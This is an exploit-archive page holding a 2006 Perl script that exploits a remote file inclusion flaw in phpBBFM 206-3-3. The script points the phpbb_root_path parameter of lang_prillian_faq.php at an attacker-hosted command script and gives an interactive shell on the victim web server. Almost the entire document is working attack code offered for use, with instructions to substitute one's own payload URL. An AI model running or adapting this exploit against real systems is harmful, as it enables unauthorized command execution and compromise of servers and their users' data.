phpBBFM <= 206-3-3 (phpbb_root_path) Remote File Include Exploit

2014-07-0100:00:00
Root
www.seebug.org
JSON
No description provided by source.

                                                #!/usr/bin/perl
 
#####################################################################################################
#                                                                                                   #
# phpBBFM ( Fully Modded Documentation )                                                           #
#                                                                                                   #
# Class:  Remote File Include Vulnerability                                                         #
#                                                                                                   #
# Date:   2006/10/15                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   high                                                                                      #
#                                                                                                   #
# Site:   http://osgaming.net/Downloads/Site_Tools/FM206-3-3.zip                                    #
#                                                                                                   #
#####################################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell=&#34;http://attacker.com/cmd.txt&#34;;   # &#60;====== Change This Line With Your Personal Script

print &#34;\n&#34;;
print &#34;######################################################################\n&#34;;
print &#34;#                                                                    #\n&#34;;
print &#34;# phpBBFM version 206-3-3    Remote File Include Vulnerability       #\n&#34;;
print &#34;# Bug found By : Ashiyane Security Corporation                       #\n&#34;;
print &#34;# Email: Behrooz Kamalian    kamalian[at]ashiyane.ir                 #\n&#34;;
print &#34;# Web Site : www.Ashiyane.ir                                         #\n&#34;;
print &#34;#                                                                    #\n&#34;;
print &#34;######################################################################\n&#34;;


if (@ARGV &#60; 2)
{
    print &#34;\n Usage: Ashiyane.pl [host] [path] &#34;;
    print &#34;\n EX : Ashiyane.pl www.victim.com /phpBBFM/  \n\n&#34;;
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul=&#34;language/lang_english/lang_prillian_faq.php?phpbb_root_path=&#34;

print &#34;Type Your Commands ( uname -a )\n&#34;;
print &#34;For Exiit Type END\n&#34;;

print &#34;&#60;Shell&#62; &#34;;$cmd = &#60;STDIN&#62;;

while($cmd !~ &#34;END&#34;) {
    $socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;&#34;$host&#34;, PeerPort=&#62;&#34;80&#34;) or die &#34;Could not connect to host.\n\n&#34;;

    print $socket &#34;GET &#34;.$path.$vul.$cmdshell.&#34;?cmd=&#34;.$cmd.&#34;? HTTP/1.1\r\n&#34;;
    print $socket &#34;Host: &#34;.$host.&#34;\r\n&#34;;
    print $socket &#34;Accept: */*\r\n&#34;;
    print $socket &#34;Connection: close\r\n\n&#34;;

    while ($raspuns = &#60;$socket&#62;)
    {
        print $raspuns;
    }

    print &#34;&#60;Shell&#62; &#34;;
    $cmd = &#60;STDIN&#62;;
}

# milw0rm.com [2006-10-15]
JSON